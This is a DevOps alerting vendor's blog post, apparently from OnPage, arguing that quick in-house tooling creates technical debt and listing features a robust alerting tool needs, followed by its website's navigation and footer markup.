<p><a href="https://martinfowler.com/bliki/TechnicalDebt.html" target="_blank" rel="nofollow noopener noreferrer">Martin Fowler</a> has a good notion of technical debt. He describes it as follows:</p>
<p><em> You have a piece of functionality that you need to add to your system. You see two ways to do it, one is quick to do but is messy &#8211; you are sure that it will make further changes harder in the future. The other results in a cleaner design, but will take longer to put in place.</em></p>
<p>In this explanation, you can see the tradeoff made. The quick and messy way sets up technical debt, which like financial debt has implications for the future. If we choose not to do away with the technical debt, we will continue to pay interest on the debt. In the case of development it means we will often have to go back to the that quick and dirty piece of technology and pay with extra effort that wasn’t really necessary.</p>
<p>Alternatively, developers can invest in better design and, in the case of this argument, bring in IT operations to worry about the important things Ops worry about, like scalability, graceful degradation, queries and availability.</p>
<p>Unfortunately, DIY practitioners often don’t invest the time in thinking through this tradeoff. Given financial circumstances, rushed deadlines, short-sightedness or some combination there of, they choose the quick and dirty option.</p>
<h3>A cautionary DIY tale</h3>
<p>My colleague Andrew Ben who is OnPage’s VP of Research and Development spoke with Nick Simmonds, the former Lead Operations Engineer at Datarista. Nick <a href="https://techbeacon.com/problem-diy-tools-how-they-can-hurt-devops" target="_blank" rel="noopener noreferrer">described his experience</a> at a company he used to work at where one of his first jobs was to gain control over a DIY scaling tool that had been developed in-house. The tool was created before any operations engineers had been hired. As such the tool was designed to be a “quick and dirty” method of provisioning servers.</p>
<p>According to Simmonds,’ the faults of the tool were significant. For example, the tool was designed to eliminate the need for manual scaling of microservices, but instead the tool simply spun up new instances with no code on them at all. Furthermore, when the servers were spun down, the tool never checked as to whether the code was working on the newest servers before it destroyed the old ones. And, as the tool didn’t efficiently push code to the new instances, the company was left with new servers that had no code running on them.</p>
<p>A significant part of the problem with the tool Nick’s colleagues built is that the tool didn’t come with any alerting component. His team only recognized the failure when they were in production and live. No monitoring, no alerting. Nothing was in place to let Simmonds&#8217; team know the deployment had failed.</p>
<h3>Never try DIY on DevOps alerting</h3>
<p>I don’t want this cautionary tale to cause nightmares for any young DevOps engineers out there. I wouldn’t want that on my <a href="https://www.adobe.com/express/create/resume" target="_blank" rel="noopener">resume</a>. Instead, I want to impress upon application developers the need to be mindful of how “quick and dirty” impacts future operations and releases. <a href="https://www.onpage.com/devops-incident-management-tool/" target="_blank" rel="noopener noreferrer">Tools</a> shouldn’t be created as a temporary hack until you get ops gets on board.</p>
<p>Teams should invest the time into creating a robust piece of code or tool. Alternatively, if they don’t have the time, they should try to invest in tools that accomplish the desired result. Furthermore, and this is something Nick brought out in his interview with Andrew, never try to hack together a tool for monitoring and alerting.</p>
<p>Alerting is too important and complex to leave to a hack or technical debt. For example, here are some of the main points a robust alerting tool needs to accomplish:</p>
<ol>
<li>Doesn’t rely on email for alerting: Alerting through email is a way for emails to get lost. Just remember that Target’s engineers received an email alert indicating anomalous traffic several days before they noticed the extent of theft of their users’ credit card information. The email alert got downplayed.</li>
<li>Persistent: Alerts need to continue in a loud and persistent manner until they are responded to.</li>
<li>Has escalation: If the person singled out for the alert cannot answer it, the alert needs to escalate to the next person on-call</li>
<li>Elevates above the noise: There is so much noise from alerts in IT, that the alert needs to grab your attention. This elevation can be through redundancies that alert you via phone, email and app (or) by being loud enough to wake you up at 2am</li>
<li>Creates actionable alerts: When alerts are sent to the engineer, make sure the alerts come with actions that the recipient should follow. Simple ‘alert’ statements don’t help rectify the situation.</li>
<li>Time stamps: For reporting and service improvement reasons, you want to know when an alert was sent and at what time it was received .</li>
<li>Enables attachments: You want to be able to attach text files or images to alerts to amplify the amount of useful data sent in the messages.</li>
<li>Uses web hooks or APIs so it can grow: Enable your alerting tool to grow as your application grows so that it can integrate with softwares that enhance your capabilities.</li>
</ol>
<h3>Alternatives to DIY alerting</h3>
<p>Alerting is more than just enabling an email to show up in your inbox. Email alerting is useful only if your job requires you to have your eyes glued to email at all times. No letting down your guard. Instead you need to maintain constant vigilance.</p>
<p>If you instead wish to invest in a robust alerting tool that has all of the capabilities mentioned above already fully tested and working, then <a href="https://www.onpage.com/contact-us/" target="_blank" rel="noopener noreferrer">contact OnPage</a>. We have alerting figured out.</p>
<p><em>OnPage is a critical alerting and incident notification platform used by DevOps and IT practitioners. Download a <a href="https://www.onpage.com/free-trial/" target="_blank" rel="noopener noreferrer">free trial</a> to get started on the path to better incident management.</em></p>
<p><a href="https://www.onpage.com/contact-us/" target="_blank" rel="noopener noreferrer"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-26868" title="CONTACT US BUTTON" src="https://www.onpage.com/wp-content/uploads/CONTACT-US-BUTTON.png" alt="DevOps alerting" width="400" height="100" /></a></p>
<h3 class="awpa-title">About The Author</h3>
<div class="wp-post-author-wrap wp-post-author-shortcode left">
<div class="awpa-tab-content active" id="15_awpa-tab1">
<div class="wp-post-author">
<div class="awpa-img awpa-author-block square">
<a href="https://www.onpage.com/author/onpage_corporation/"><img alt='' src='https://secure.gravatar.com/avatar/e8002a4a2d832263ce3e96e7b4f19c6ebeb047fb1c03717bed3adeef3716086e?s=150&#038;d=mm&#038;r=g' srcset='https://secure.gravatar.com/avatar/e8002a4a2d832263ce3e96e7b4f19c6ebeb047fb1c03717bed3adeef3716086e?s=300&#038;d=mm&#038;r=g 2x' class='avatar avatar-150 photo' height='150' width='150' /></a>
</div>
<div class="wp-post-author-meta awpa-author-block">
<h4 class="awpa-display-name">
<a href="https://www.onpage.com/author/onpage_corporation/">OnPage Corporation</a>
</h4>
<div class="wp-post-author-meta-bio">
</div>
<div class="wp-post-author-meta-more-posts">
<p class="awpa-more-posts round">
<a href="https://www.onpage.com/author/onpage_corporation/" class="awpa-more-posts">See author&#039;s posts</a>
</p>
</div>
<ul class="awpa-contact-info round">
</ul>
</div>
</div>
</div>
</div>
<!-- Simple Share Buttons Adder (8.5.2) simplesharebuttons.com --><div class="ssba-classic-2 ssba ssbp-wrap alignleft ssbp--theme-1"><div style="text-align:left"><a data-site="facebook" class="ssba_facebook_share ssba_share_link" href="https://www.facebook.com/sharer.php?t=A very short primer on DIY, technical debt and DevOps alerting&u=https://www.onpage.com/primer-on-diy-technical-debt-and-devops-alerting/" target=_blank style="color:; background-color: ; height: 48px; width: 48px; " ><img decoding="async" src="https://www.onpage.com/wp-content/plugins/simple-share-buttons-adder/buttons/simple/facebook.png" style="width: 36px;" title="facebook" class="ssba ssba-img" alt="Share on facebook" /><div title="Facebook" class="ssbp-text">Facebook</div></a><a data-site="google" class="ssba_google_share ssba_share_link" href="" target=_blank style="color:; background-color: ; height: 48px; width: 48px; " ><img decoding="async" src="https://www.onpage.com/wp-content/plugins/simple-share-buttons-adder/buttons/simple/google.png" style="width: 36px;" title="google" class="ssba ssba-img" alt="Share on google" /><div title="Google" class="ssbp-text">Google</div></a><a data-site="twitter" class="ssba_twitter_share ssba_share_link" href="https://twitter.com/intent/tweet?text=A very short primer on DIY, technical debt and DevOps alerting&url=https://www.onpage.com/primer-on-diy-technical-debt-and-devops-alerting/&via=" target=_blank style="color:; background-color: ; height: 48px; width: 48px; " ><img decoding="async" src="https://www.onpage.com/wp-content/plugins/simple-share-buttons-adder/buttons/simple/twitter.png" style="width: 36px;" title="twitter" class="ssba ssba-img" alt="Share on twitter" /><div title="Twitter" class="ssbp-text">Twitter</div></a><a data-site="linkedin" class="ssba_linkedin_share ssba_share_link" href="https://www.linkedin.com/shareArticle?title=A very short primer on DIY, technical debt and DevOps alerting&url=https://www.onpage.com/primer-on-diy-technical-debt-and-devops-alerting/" target=_blank style="color:; background-color: ; height: 48px; width: 48px; " ><img decoding="async" src="https://www.onpage.com/wp-content/plugins/simple-share-buttons-adder/buttons/simple/linkedin.png" style="width: 36px;" title="linkedin" class="ssba ssba-img" alt="Share on linkedin" /><div title="Linkedin" class="ssbp-text">Linkedin</div></a></div></div> <div class="back-txt"><a href="https://www.onpage.com/blog/" class="back-blog">Back to Blog</a> </div>
</div>
</div>
<!--<div class="col-sm-4">
<div class="side-bar">
</div>
</div>-->
</div>
</div>
</div>
</main>
<!-- /.main -->
<aside class="sidebar">
</aside>
<!-- /.sidebar -->
</div>
<!-- /.content -->
</div>
<!-- /.wrap -->
<!-- Footer
================================================== -->
<footer class="footer-main">
<div class="footer-links">
<div class="container">
<div class="article-out">
<div class="article-in">
<ul class="column">
<li id="text-4" class="widget widget_text"><h4 class="widget-title">ABOUT US</h4> <div class="textwidget"><p>OnPage Corporation is an innovative and dynamic technology company at the forefront of HIPAA critical alerting and incident management solutions! Our cutting-edge platform empowers organizations to conquer challenges with lightning-fast communication, prioritize urgent messages like never before, and unleash the full potential of your teams, all while ensuring the timely resolution of critical incidents.<a href="https://www.onpage.com/about-us/">Read more</a>.</p>
</div>
</li><li id="custom_html-2" class="widget_text widget widget_custom_html"><div class="textwidget custom-html-widget"><br><br>
<a href='https://play.google.com/store/apps/details?id=com.onpage&hl=en_US&gl=US' target="_blank"><picture>
<source type="image/webp" srcset="https://www.onpage.com/wp-content/uploads/google-play-store.png.webp"/>
<img alt="Get it on Google Play" src="https://www.onpage.com/wp-content/uploads/google-play-store.png" width="150"/>
</picture>
</a>
<br><br>
<a href="https://apps.apple.com/us/app/onpage/id427935899" target="_blank"><picture>
<source type="image/webp" srcset="https://www.onpage.com/wp-content/uploads/apple-app-store.png.webp"/>
<img src="https://www.onpage.com/wp-content/uploads/apple-app-store.png" width="150" alt="find it on the Apple App Store"/>
</picture>
</a>
<br /><br />
<div class="seal">
<script type="text/javascript" src="https://www.rapidscansecure.com/siteseal/siteseal.js?code=126,96E4240EED2D8A0465D88DCCC6F9C4119BADDBD7"></script>
</div></div></li> </ul>
<ul class="column">
<li id="nav_menu-2" class="widget widget_nav_menu"><h4 class="widget-title">QUICK LINKS</h4><div class="menu-footer-quick-links-container"><ul id="menu-footer-quick-links" class="menu"><li id="menu-item-22929" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-22929"><a href="https://www.onpage.com/about-us/">About Us</a></li>
<li id="menu-item-23177" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-23177"><a href="https://www.onpage.com/contact-us/">Talk to Sales</a></li>
<li id="menu-item-23084" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-23084"><a target="_blank" href="https://nps.onpage.com/onpageDashboard/">Enterprise Login</a></li>
<li id="menu-item-23193" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-23193"><a href="https://www.onpage.com/partner-program-overview/">Partner Program</a></li>
<li id="menu-item-53505" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-53505"><a href="https://www.onpage.com/it-implementation-strategy/">IT Implementation Strategy</a></li>
<li id="menu-item-53506" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-53506"><a href="https://www.onpage.com/implementation-strategy-in-healthcare/">Implementation Strategy in Healthcare</a></li>
<li id="menu-item-28360" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-28360"><a href="https://www.onpage.com/jobs/">Careers</a></li>
<li id="menu-item-31562" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-31562"><a href="https://www.onpage.com/management-team/">Management Team</a></li>
<li id="menu-item-95565" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-95565"><a href="https://www.onpage.com/onpage-accessibility-statement/">OnPage Accessibility Statement</a></li>
</ul></div></li>
</ul>
<ul class="column">
<li id="rpwe_widget-2" class="widget rpwe_widget recent-posts-extended"><h4 class="widget-title">Recent Posts</h4><div class="rpwe-block"><ul class="rpwe-ul"><li class="rpwe-li rpwe-clearfix"><h3 class="rpwe-title"><a href="https://www.onpage.com/buyers-guide-top-on-call-scheduling-tools-for-it-teams-2/" target="_self">2026 Buyer&#8217;s Guide: Top On-Call Scheduling Tools for IT Teams</a></h3><div class="rpwe-summary">A missed page at 2 a.m. can turn a minor &hellip;</div></li><li class="rpwe-li rpwe-clearfix"><h3 class="rpwe-title"><a href="https://www.onpage.com/how-onpage-eliminates-alert-noise-for-it-ops-teams/" target="_self">How OnPage Eliminates Alert Noise for IT Ops Teams in 2026</a></h3><div class="rpwe-summary">IT Ops teams face two failures that pull in opposite &hellip;</div></li></ul></div><!-- Generated by http://wordpress.org/plugins/recent-posts-widget-extended/ --></li><li id="nav_menu-5" class="widget widget_nav_menu"><h4 class="widget-title">Compare (Healthcare)</h4><div class="menu-footer-compare-hc-container"><ul id="menu-footer-compare-hc" class="menu"><li id="menu-item-83799" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-83799"><a href="https://www.onpage.com/onpage-vs-vocera/">OnPage vs Vocera</a></li>
<li id="menu-item-83800" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-83800"><a href="https://www.onpage.com/spok-alternative/">OnPage vs Spok</a></li>
<li id="menu-item-83802" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-83802"><a href="https://www.onpage.com/onpage-vs-tigerconnect_tigerconnect-alternative/">OnPage vs Tigerconnect</a></li>
<li id="menu-item-83961" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-83961"><a href="https://www.onpage.com/comparison/">OnPage vs Email vs Pagers</a></li>
</ul></div></li>
</ul>
<ul class="column">
<li id="text-3" class="widget widget_text"><h4 class="widget-title">CONTACT US</h4> <div class="textwidget"><p>&nbsp;</p>
<div class="call-txt">
<div class="icon-bg"></div>
<aside>OnPage Corporation<br />
60 Hickory Dr<br />
Waltham, MA 02451</aside>
</div>
<div class="call-txt">
<div class="icon-bg"></div>
<aside>Email<br />
<a href="/cdn-cgi/l/email-protection#1063717c7563507f7e60717775737f62603e737f7d"><span class="__cf_email__" data-cfemail="c7b4a6aba2b487a8a9b7a6a0a2a4a8b5b7e9a4a8aa">[email&#160;protected]</span></a></aside>
</div>
<div class="call-txt">
<div class="icon-bg"></div>
<aside>Phone<br />
<a href="tel:17819160040">+1 (781) 916-0040</a></aside>
</div>
</div>
</li><li id="text-6" class="widget widget_text"> <div class="textwidget"><p><!-- begin olark code --><br />
<script data-cfasync="false" src="/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script><script type="text/javascript" async data-type="lazy" data-src="data:text/javascript;base64,IDsoZnVuY3Rpb24obyxsLGEscixrLHkpe2lmKG8ub2xhcmspcmV0dXJuOyByPSJzY3JpcHQiO3k9bC5jcmVhdGVFbGVtZW50KHIpO3I9bC5nZXRFbGVtZW50c0J5VGFnTmFtZShyKVswXTsgeS5hc3luYz0xO3kuc3JjPSIvLyIrYTtyLnBhcmVudE5vZGUuaW5zZXJ0QmVmb3JlKHkscik7IHk9by5vbGFyaz1mdW5jdGlvbigpe2sucy5wdXNoKGFyZ3VtZW50cyk7ay50LnB1c2goK25ldyBEYXRlKX07IHkuZXh0ZW5kPWZ1bmN0aW9uKGksail7eSgiZXh0ZW5kIixpLGopfTsgeS5pZGVudGlmeT1mdW5jdGlvbihpKXt5KCJpZGVudGlmeSIsay5pPWkpfTsgeS5jb25maWd1cmU9ZnVuY3Rpb24oaSxqKXt5KCJjb25maWd1cmUiLGksaik7ay5jW2ldPWp9OyBrPXkuXz17czpbXSx0OlsrbmV3IERhdGVdLGM6e30sbDphfTsgfSkod2luZG93LGRvY3VtZW50LCJzdGF0aWMub2xhcmsuY29tL2pzY2xpZW50L2xvYWRlci5qcyIpOwovKiBjdXN0b20gY29uZmlndXJhdGlvbiBnb2VzIGhlcmUgKHd3dy5vbGFyay5jb20vZG9jdW1lbnRhdGlvbikgKi8Kb2xhcmsuaWRlbnRpZnkoJzMzNjMtNDg5LTEwLTk2ODEnKTs="></script><br />
<!-- end olark code --></p>
</div>
</li><li id="nav_menu-7" class="widget widget_nav_menu"><h4 class="widget-title">Compare (IT)</h4><div class="menu-footer-compare-it-container"><ul id="menu-footer-compare-it" class="menu"><li id="menu-item-92954" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-92954"><a href="https://www.onpage.com/opsgenie-replacement/">OnPage vs Opsgenie</a></li>
<li id="menu-item-83806" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-83806"><a href="https://www.onpage.com/pagerduty-alternative/">OnPage vs PagerDuty</a></li>
<li id="menu-item-83807" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-83807"><a href="https://www.onpage.com/onpage-vs-sendquick-alternative/">OnPage vs Sendquick</a></li>
<li id="menu-item-83808" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-83808"><a href="https://www.onpage.com/splunk-on-call/">OnPage vs Splunk On-Call</a></li>
<li id="menu-item-83809" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-83809"><a href="https://www.onpage.com/xmatters-alternative/">OnPage vs xMatters</a></li>
</ul></div></li> </ul>
</div>
<div class="footer-bar">
<div class="social-links">
<p>Follow Us On:</p>
<ul>
<li><a href="https://www.facebook.com/OnPage" target="_blank" class="fa fa-facebook"><span class="s">Facebook</span></a></li>
<li><a href="https://twitter.com/On_Page" target="_blank" class="fa fa-twitter"><span class="s">Twitter</span></a></li>
<li><a href="https://www.linkedin.com/company/22552" target="_blank" class="fa fa-linkedin"><span class="s">LinkedIn</span></a></li>
<li><a href="https://www.onpage.com/feed/" target="_blank" class="fa fa-rss"><span class="s">RSS</span></a></li>
</ul>
</div>
<div class="news-form">
<p>Subscribe to our Newsletter:</p>
<script type="text/javascript"></script>
<div class='gf_browser_chrome gform_wrapper gform_legacy_markup_wrapper gform-theme--no-framework' data-form-theme='legacy' data-form-index='0' id='gform_wrapper_1' ><form method='post' enctype='multipart/form-data' id='gform_1' action='/primer-on-diy-technical-debt-and-devops-alerting/' data-formid='1' novalidate><div class='gf_invisible ginput_recaptchav3' data-sitekey='6LfwodMpAAAAAAwysDIFtK_9W0xVG3AUX_MjCRYX' data-tabindex='10'><input id="input_2d7a60f2b919364ce096d6d4aeca9888" class="gfield_recaptcha_response" type="hidden" name="input_2d7a60f2b919364ce096d6d4aeca9888" value=""/></div>
<div class='gform-body gform_body'><ul id='gform_fields_1' class='gform_fields top_label form_sublabel_below description_below validation_below'><li id="field_1_1" class="gfield gfield--type-email input-bg gfield_contains_required field_sublabel_below gfield--no-description field_description_below field_validation_below gfield_visibility_visible" data-js-reload="field_1_1" ><label class='gfield_label gform-field-label' for='input_1_1'>Your email address<span class="gfield_required"><span class="gfield_required gfield_required_asterisk">*</span></span></label><div class='ginput_container ginput_container_email'>
<input name='input_1' id='input_1_1' type='email' value='' class='large' tabindex='11' placeholder='Your email address' aria-required="true" aria-invalid="false" />
</div></li><li id="field_1_2" class="gfield gfield--type-honeypot gform_validation_container field_sublabel_below gfield--has-description field_description_below field_validation_below gfield_visibility_visible" data-js-reload="field_1_2" ><label class='gfield_label gform-field-label' for='input_1_2'>Name</label><div class='ginput_container'><input name='input_2' id='input_1_2' type='text' value='' autocomplete='new-password'/></div><div class='gfield_description' id='gfield_description_1_2'>This field is for validation purposes and should be left unchanged.</div></li></ul></div>
<div class='gform_footer top_label'> <input type="submit" id="gform_submit_button_1" class="gform_button button" value="Subscribe" tabindex="12" onclick="if(window[&quot;gf_submitting_1&quot;]){return false;} if( !jQuery(&quot;#gform_1&quot;)[0].checkValidity || jQuery(&quot;#gform_1&quot;)[0].checkValidity()){window[&quot;gf_submitting_1&quot;]=true;} this.value='Form submission in process, thank you for your patience'" onkeypress='if( event.keyCode == 13 ){ if(window["gf_submitting_1"]){return false;} if( !jQuery("#gform_1")[0].checkValidity || jQuery("#gform_1")[0].checkValidity()){window["gf_submitting_1"]=true;} jQuery("#gform_1").trigger("submit",[true]); }'>
<input type='hidden' class='gform_hidden' name='is_submit_1' value='1' />
<input type='hidden' class='gform_hidden' name='gform_submit' value='1' />
<input type='hidden' class='gform_hidden' name='gform_unique_id' value='' />
<input type='hidden' class='gform_hidden' name='state_1' value='WyJbXSIsImFlMzVmZGE0OWViZTNmMmEwNjAwODQzZWRhNmRiMDk0Il0=' />
<input type='hidden' class='gform_hidden' name='gform_target_page_number_1' id='gform_target_page_number_1' value='0' />
<input type='hidden' class='gform_hidden' name='gform_source_page_number_1' id='gform_source_page_number_1' value='1' />
<input type='hidden' name='gform_field_values' value='' />
</div>
</form>
</div><script>
gform.initializeOnLoaded( function() {gformInitSpinner( 1, 'https://www.onpage.com/wp-content/plugins/gravityforms/images/spinner.svg', true );jQuery('#gform_ajax_frame_1').on('load',function(){var contents = jQuery(this).contents().find('*').html();var is_postback = contents.indexOf('GF_AJAX_POSTBACK') >= 0;if(!is_postback){return;}var form_content = jQuery(this).contents().find('#gform_wrapper_1');var is_confirmation = jQuery(this).contents().find('#gform_confirmation_wrapper_1').length > 0;var is_redirect = contents.indexOf('gformRedirect(){') >= 0;var is_form = form_content.length > 0 && ! is_redirect && ! is_confirmation;var mt = parseInt(jQuery('html').css('margin-top'), 10) + parseInt(jQuery('body').css('margin-top'), 10) + 100;if(is_form){jQuery('#gform_wrapper_1').html(form_content.html());if(form_content.hasClass('gform_validation_error')){jQuery('#gform_wrapper_1').addClass('gform_validation_error');} else {jQuery('#gform_wrapper_1').removeClass('gform_validation_error');}setTimeout( function() { /* delay the scroll by 50 milliseconds to fix a bug in chrome */ }, 50 );if(window['gformInitDatepicker']) {gformInitDatepicker();}if(window['gformInitPriceFields']) {gformInitPriceFields();}var current_page = jQuery('#gform_source_page_number_1').val();gformInitSpinner( 1, 'https://www.onpage.com/wp-content/plugins/gravityforms/images/spinner.svg', true );jQuery(document).trigger('gform_page_loaded', [1, current_page]);window['gf_submitting_1'] = false;}else if(!is_redirect){var confirmation_content = jQuery(this).contents().find('.GF_AJAX_POSTBACK').html();if(!confirmation_content){confirmation_content = contents;}jQuery('#gform_wrapper_1').replaceWith(confirmation_content);jQuery(document).trigger('gform_confirmation_loaded', [1]);window['gf_submitting_1'] = false;wp.a11y.speak(jQuery('#gform_confirmation_message_1').text());}else{jQuery('#gform_1').append(contents);if(window['gformRedirect']) {gformRedirect();}}jQuery(document).trigger("gform_pre_post_render", [{ formId: "1", currentPage: "current_page", abort: function() { this.preventDefault(); } }]); if (event && event.defaultPrevented) { return; } const gformWrapperDiv = document.getElementById( "gform_wrapper_1" ); if ( gformWrapperDiv ) { const visibilitySpan = document.createElement( "span" ); visibilitySpan.id = "gform_visibility_test_1"; gformWrapperDiv.insertAdjacentElement( "afterend", visibilitySpan ); } const visibilityTestDiv = document.getElementById( "gform_visibility_test_1" ); let postRenderFired = false; function triggerPostRender() { if ( postRenderFired ) { return; } postRenderFired = true; jQuery( document ).trigger( 'gform_post_render', [1, current_page] ); gform.utils.trigger( { event: 'gform/postRender', native: false, data: { formId: 1, currentPage: current_page } } ); if ( visibilityTestDiv ) { visibilityTestDiv.parentNode.removeChild( visibilityTestDiv ); } } function debounce( func, wait, immediate ) { var timeout; return function() { var context = this, args = arguments; var later = function() { timeout = null; if ( !immediate ) func.apply( context, args ); }; var callNow = immediate && !timeout; clearTimeout( timeout ); timeout = setTimeout( later, wait ); if ( callNow ) func.apply( context, args ); }; } const debouncedTriggerPostRender = debounce( function() { triggerPostRender(); }, 200 ); if ( visibilityTestDiv && visibilityTestDiv.offsetParent === null ) { const observer = new MutationObserver( ( mutations ) => { mutations.forEach( ( mutation ) => { if ( mutation.type === 'attributes' && visibilityTestDiv.offsetParent !== null ) { debouncedTriggerPostRender(); observer.disconnect(); } }); }); observer.observe( document.body, { attributes: true, childList: false, subtree: true, attributeFilter: [ 'style', 'class' ], }); } else { triggerPostRender(); } } );} );
</script>
</div>
</div>
</div>
</div>
</div>
<div class="copy-right">
<div class="container">
<p>&copy;2026 OnPage. All rights reserved.</p>
<div class="right"><nav class="menu-footer-menu-container"><ul id="menu-footer-menu" class="menu"><li id="menu-item-50630" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-50630"><a href="https://www.onpage.com/wp-content/uploads/OnPage-Terms-of-Use.pdf">Service Terms of Use</a></li>
<li id="menu-item-176" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-176"><a href="https://www.onpage.com/privacy-policy/">Privacy Policy</a></li>
<li id="menu-item-175" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-175"><a href="https://www.onpage.com/terms-of-use/">Terms of Use</a></li>
</ul></nav></div>
</div>
</div>
</footer>
<script type="speculationrules">
{"prefetch":[{"source":"document","where":{"and":[{"href_matches":"/*"},{"not":{"href_matches":["/wp-*.php","/wp-admin/*","/wp-content/uploads/*","/wp-content/*","/wp-content/plugins/*","/wp-content/themes/onpage/*","/*\\?(.+)"]}},{"not":{"selector_matches":"a[rel~=\"nofollow\"]"}},{"not":{"selector_matches":".no-prefetch, .no-prefetch a"}}]},"eagerness":"conservative"}]}
</script>
<!-- Google Tag Manager (noscript) -->
<noscript><iframe src="https://www.googletagmanager.com/ns.html?id=GTM-TWQGPW" height="0" width="0" style="display:none;visibility:hidden"></iframe></noscript>
<!-- End Google Tag Manager (noscript) -->
<!-- ShiftNav Main Toggle -->
<div id="shiftnav-toggle-main" class="shiftnav-toggle-main-align-center shiftnav-toggle-style-burger_only shiftnav-togglebar-gap-auto shiftnav-toggle-edge-right shiftnav-toggle-icon-x" ><button id="shiftnav-toggle-main-button" class="shiftnav-toggle shiftnav-toggle-shiftnav-main shiftnav-toggle-burger" tabindex="1" data-shiftnav-target="shiftnav-main" aria-label="Toggle Menu"><i class="fa fa-bars"></i></button> </div>
<!-- /#shiftnav-toggle-main -->
<!-- ShiftNav #shiftnav-main -->
<div class="shiftnav shiftnav-nojs shiftnav-shiftnav-main shiftnav-right-edge shiftnav-skin-light shiftnav-transition-standard" id="shiftnav-main" data-shiftnav-id="shiftnav-main">
<div class="shiftnav-inner">
<h3 class="shiftnav-menu-title shiftnav-site-title"><a href="https://www.onpage.com">OnPage</a></h3>
<nav class="shiftnav-nav"><ul id="menu-primary-navigation" class="shiftnav-menu shiftnav-targets-default shiftnav-targets-text-default shiftnav-targets-icon-default"><li class="menu-item menu-item-type-custom menu-item-object-custom menu-item-has-children menu-item-66545 shiftnav-sub-shift shiftnav-depth-0"><a class="shiftnav-target" href="https://www.onpage.com/products/">Products</a><span tabindex="0" class="shiftnav-submenu-activation"><i class="fa fa-chevron-right"></i></span>
<ul class="sub-menu sub-menu-1">
<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-86562 shiftnav-depth-3"><a class="shiftnav-target" href="https://www.onpage.com/products/on-call-alerting/">On-Call Alerting</a></li><li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-75913 shiftnav-depth-3"><a class="shiftnav-target" href="https://www.onpage.com/products/what-is-it-oncall-management-system/">On-Call Management</a></li><li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-37629 shiftnav-depth-3"><a class="shiftnav-target" href="https://www.onpage.com/products/incident-alert-management-for-it/">Incident Alert Management</a></li><li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-75827 shiftnav-depth-3"><a class="shiftnav-target" href="https://www.onpage.com/products/live-call-routing/">Live Call Routing</a></li><li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-75900 shiftnav-depth-3"><a class="shiftnav-target" href="https://www.onpage.com/products/mass-notification-system/">Mass Notifications</a></li><li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-75898 shiftnav-depth-3"><a class="shiftnav-target" href="https://www.onpage.com/products/clinical-collaboration-system/">Clinical Communication &#038; Collaboration</a></li><li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-95029 shiftnav-depth-3"><a class="shiftnav-target" href="https://www.onpage.com/products/hipaa-compliant-messaging/">HIPAA-Compliant Messaging</a></li><li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-75901 shiftnav-depth-3"><a class="shiftnav-target" href="https://www.onpage.com/products/pager-app/">Pager Replacement</a></li><li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-88728 shiftnav-depth-3"><a class="shiftnav-target" href="https://www.onpage.com/products/on-call-management-for-healthcare/">Healthcare On-Call Management</a></li><li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-86563 shiftnav-depth-3"><a class="shiftnav-target" href="https://www.onpage.com/products/patient-doctor-communication/">Patient-Provider Communication</a></li><li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-75830 shiftnav-depth-3"><a class="shiftnav-target" href="https://www.onpage.com/free-trial/">Free Trial</a></li><li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-75831 shiftnav-depth-3"><a class="shiftnav-target" href="https://www.onpage.com/integrations/">Integrations</a></li><li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-75829 shiftnav-depth-3"><a class="shiftnav-target" href="https://www.onpage.com/onpage-new-features-upgrades-and-integrations/">What&#8217;s New?</a></li><li class="menu-item menu-item-type-post_type menu-item-object-post menu-item-96228 shiftnav-depth-3"><a class="shiftnav-target" href="https://www.onpage.com/what-we-built-in-2025-and-why-it-matters-going-into-2026/">What We Built in 2025, and Why It Matters Going Into 2026</a></li><li class="shiftnav-retract"><a tabindex="0" class="shiftnav-target"><i class="fa fa-chevron-left"></i> Back</a></li></ul>
</li><li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children menu-item-41771 shiftnav-sub-shift shiftnav-depth-0"><a class="shiftnav-target" href="https://www.onpage.com/why-onpage/">Why OnPage?</a><span tabindex="0" class="shiftnav-submenu-activation"><i class="fa fa-chevron-right"></i></span>
<ul class="sub-menu sub-menu-1">
